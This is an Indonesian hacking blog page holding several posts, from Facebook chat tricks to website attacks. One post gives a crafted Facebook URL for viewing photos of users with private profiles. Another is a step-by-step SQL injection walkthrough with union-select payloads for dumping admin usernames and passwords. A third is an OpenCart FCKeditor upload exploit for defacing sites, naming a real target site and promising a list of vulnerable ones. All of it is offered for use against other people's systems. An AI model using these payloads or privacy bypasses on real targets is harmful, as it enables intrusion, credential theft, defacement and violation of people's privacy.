Katon Primadi Sasmitha

Facebook Trik : Cara Invisible Chatting Contacts

Facebook sama seperti jaringan sosial lainnya misalnya Orkut telah terintegrasi dengan sebuah tool untuk melakukan chatting dengan teman-teman yang telah terdaftar dalam facebook. Fungsi chatting sangat membantu dan mudah karena anda bisa chatting seperti menggunakan Yahoo Massenger tetapi memiliki kelebihan, dimana anda dapat berbicara / chatting dengan teman-teman dengan menggunakan satu jendela (satu window facebook). Tetapi mungkin anda ingin menambahkan teman kedalam daftar chat anda, namun masih sedikit yang anda add / aprove. Sekali saja anda menambah teman baru, tidak ada cara istimewa untuk bisa menghentikan keisengan kawan facebook dari obrolan yang sangat tidak berguna sama sekali.

Jadi, bagaimana Anda dapat secara selektif untuk memilih teman-teman chatting yang anda kenal saja? mengklik link "Go Offline" akan mematikan semua fungsi chat tool facebook anda dan trik itu merupakan cara yang kurang benar. Oleh karena itu, anda bisa melakukan praktek. kali ini untuk mengetahui mengenai "Facebook Trick : Cara invisible from contacts". Seperti yang dapat Anda lihat dalam foto gambar di atas, dimana Anda dapat membuat kelompok yang berbeda sesuai yang Anda sukai. Seperti pacar atau selingkuhan, keluarga, teman dan lain sebagainya.

Buat sebuah group misalnya dengan nama nochat.
Masukkan orang yang anda tidak ingin melakukan chatting dengan doi, kedalam group yang anda buat tadi (example: nochat group)
Sekarang, pilih chat options, lalu pilih Offline / Go online.
Klik dan Anda telah berhasil membuat sendiri invisible grup pribadi.

Semoga Trik Facebook : Cara Invisible Chatting Contacts ini bisa membantu anda dalam membuat group chatting pada facebook.

Facebook adalah social networking terbaik, populer dan telah berkembang selama bertahun-tahun. Seperti yang Anda mungkin telah tahu bahwa tips belajar Hacker Your Cracker's blog tutorial telah membahas tentang Facebook Trik : Cara Invisible Chatting Contacts. Hari ini saya mengeluarkan facebook trick dengan tema yang berbeda. Sementara itu, privasi adalah jamian yang sangat penting untuk user facebook, dan biasa disebut dengan annoyance. Jadi Blog SEO akan menjelaskan trik yang akan membantu Anda untuk melihat profil terkunci. Trik ini akan membuat Anda melihat siapapun dari target foto meskipun mereka menerapkan private untuk Anda.

Bagaimana Melihat Album apapun dari Private User?

Masuk ke facebook dan jangan khawatir, Anda tak perlu untuk membuat account facebook baru,dikarenakan anda tak akan meninggalkan jejak pada facebook dan Private User tak akan mengetahuinya.
Cari orang yang ingin dijadikan target, unique profile ID.
Search dia/mereka dan klik view friends atau send message.
Catat / ingat unique ID dari address bar (hanya berupa nomor/angka) atau copy ID-nya dan paste di mana anda inginkan (word/notepad).
Setelah Anda memiliki unique profile ID, Anda dapat menggunakan dua link untuk melihat 40 tagged foto

Jika Anda ingin melihat foto target facebook orang lain dengan cara yang kedua, gunakan link ini:

http://www.facebook.com/photo.php?pid=13245678&op=1&view=user&subj=[Unique ID]&id=[Unique ID]

Setiap link berisi dua tempat [Unique ID] Anda cukup mengganti dengan ID yang unik dari orang yang telah dicopy seperti pada langkah pertama. Hapus [UNIQUE ID], ganti dengan ID Profil yang telah anda salin.

kalau anda telah mengikuti dengan benar Anda sekarang dapat melihat sampai dengan 40 foto dari seseorang di profil pribadi. Selamat Menikmati.

[Catatan: Informasi tips trik facebook hack. Dimaksudkan untuk tujuan informasi, dilarang keras mempergunakannya untuk tujuan yang salah]

TOOL web Vulnerabilities

Nah ini diaa kumpulan tool hack atau untuk menemukan kerentanan dalam keamanan web2 kita ataupun web yg mau di jadikan target untuk di hack.
SILAHKAN DI COBA Yah Bradder

Cara Membuat Aplikasi Update Status Sendiri ^__^

Buka link ini : http://www.facebook.com/developers/createapp.php Nanti akan muncul tampilan seperti di bawah (kalau tidak ada tampilan di bawah, tekan saja tombol yang ada di layar)

Isikan nama aplikasi yg diinginkan di kotak "Nama Aplikasi". Sebagai contoh di gambar di atas saya namai

ＫａｔｏｎＮｉｇｈｔｍａｒｅＣｒｅｗ

"-"

Klik juga pilihan "Setuju"
Klik tombol "Create App"

[./] Ada tampilan di bawah, ketikkan apa yang tertulis di layar

Contoh, gambar di atas, saya ketikkan "ordsBa and"
Klik tombol "Kirim"

[./] Ada tampilan di bawah, ini adalah halaman utama untuk mengatur setting aplikasi.
Silakan atur sendiri setting lain di antaranya "Nama Aplikasi" dan "Keterangan" (deskripsi aplikasi), juga gambar aplikasi (Icon & Logo).

[./] Berikutnya klik link "Integrasi Facebook" di samping kiri, maka ke langkah selanjutnya.
Setelah klik "Integrasi Facebook" di kiri, akan muncul tampilan ini.

Lalu kita akan mengisi "Halaman Kanvas". Apa Halaman Kanvas ini? Halaman Kanvas adalah alamat web yang akan kita pakai kalau kita ingin membuka aplikasi kita.
Contoh buat yang suka main Mafia Wars di Facebook, alamat game Mafia Wars adalah http://apps.facebook.com/inthemafia/. Ini berarti Halaman Kanvas dari Mafia Wars adalah inthemafia.
Contoh lain, buat yang suka main game Pet Society di Facebook, alamatnya adalah http://apps.facebook.com/petsociety/, berarti Halaman Kanvas game Pet Society adalah petsociety.
Setiap Halaman Kanvas hanya boleh digunakan 1 aplikasi saja. Jadi misal sudah ada aplikasi dengan Halaman Kanvas "inthemafia", aplikasi lain tidak boleh ada yang menggunakan Halaman Kanvas "inthemafia" dan aplikasi lain harus menggunakan Halaman Kanvas lain.
Silakan buat Halaman Kanvas yang unik. Terserah mau diisi apa. Tapi ingat Halaman Kanvas hanya boleh mengandung huruf dan tanda minus.
Spasi, titik, tanda garis bawah, angka, dll, tidak diperbolehkan di Halaman Kanvas.
Sebagai contoh, di atas saya pakai Halaman Kanvas "KatonNightmare"
Lalu di "IFrame Size", pilih "Auto-resize"

Langkah terakhir di langkah 6 ini adalah buka Notepad. Lalu catat informasi :

Application ID (lihat gambar di atas, yaitu yang 221274931232760)
Kunci Rahasia Aplikasi (lihat gambar di atas, yaitu yang 6b05c3b3....fca)
Halaman Kanvas (lihat gambar di atas, yaitu yang KatonNightmare, dst)

Saya rasa sampai disini anda sudah mengerti dan bisa membuatnya dengan penjelasan saya diatas.
Selamat ya, aplikasi anda sudah jadi.

Nah bagaimana cara Update Status Via Bikinan kamu Tadi ?
Saya kasih contoh lagi deh biar agan-agan nggak penasaran hehehe..
Nih contoh Update status via ＫａｔｏｎＮｉｇｈｔｍａｒｅＣｒｅｗ
URL/Link-nya :
http://apps.facebook.com/katonnightmarecrew/?ref=bookmarks&fb_source=bookmarks_apps&fb_bmpos=3_

Cara Deface Website menggunakan Sql Injection (Step by Step)

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
=step Satu:=
===========

carilah target
misal:

Code:

[site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:

Code:

[site]/berita.php?id=100' atau
[site]/berita.php?id=-100

sehingga muncul pesan error.

==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by

contoh:

Code:

[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)...
misal:

Code:

[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error...
misal:

Code:
[site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi :

Code:

[site]/berita.php?id=-100+order+by+8--

===========
=step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka:

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal:

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah

Code:
From+Information_schema..

============
=step Empat:=
============

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah "admin"

===========
=step Lima:=
===========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--

=============
= step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--

============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--

contoh kata yang keluar adalah id,username,password

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--

==============
= step Delapan:=
==============

tahap terakhir mencari halam admin atau login :piss: tapi saya sarankan memakai schemafuzz.py untuk hasil yg lebih maksimal.

Deface Website "Powered By Opencart " + Site-Site Vulnnya

lngsung aja...

dork : Powered By OpenCart site:com

"site:" terserah, yang penting support opencart

ex target: http://www.planespares.com/

bisa juga dgn trget www.target.com/pacth/ itu kalo dpt trget yg ad di /patch/ nyaex: http://www.target.com/patch/

nah kalo dh dpt trget, lngsung aj kita inject exploitnya

for exploit :
Quote:
admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

jdi nya gni
ex: http://www.planespares.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

kalo target yang ad /patch/ , inject nya d belakang patch nya
ex:www.target.com/patch/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

liat yg kluar, dstu trdpat tmpat upload file nya.....
connector pilih PHP
lngsung aja kita upload file html deface kita...
jika berhasil mka akan kluar alert sprti ini
Code:
"file uploaded with no errors"

liat file kita , apkah telah d upload dgn mengklik "Get Folders and Files"

skrng liat hasilnya....

ex hasil: http://www.planespares.com/Katonnightmare.html

sayangnya file yang kita upload nggk bisa nimpa file sblm nya, tetapi duplikat file...file(1).html or file(2).html..

Nih Gw Kasi Bnyk Sitesite Vulnnya :D :

Daftar website yang Vulnrable :

Katon Primadi Sasmitha

Facebook Trik : Cara Invisible Chatting Contacts

Facebook Trick: Cara Melihat Album Private User

TOOL web Vulnerabilities

Cara Membuat Aplikasi Update Status Sendiri ^__^

Cara Deface Website menggunakan Sql Injection (Step by Step)

Deface Website "Powered By Opencart " + Site-Site Vulnnya

Pengikut

Partner Link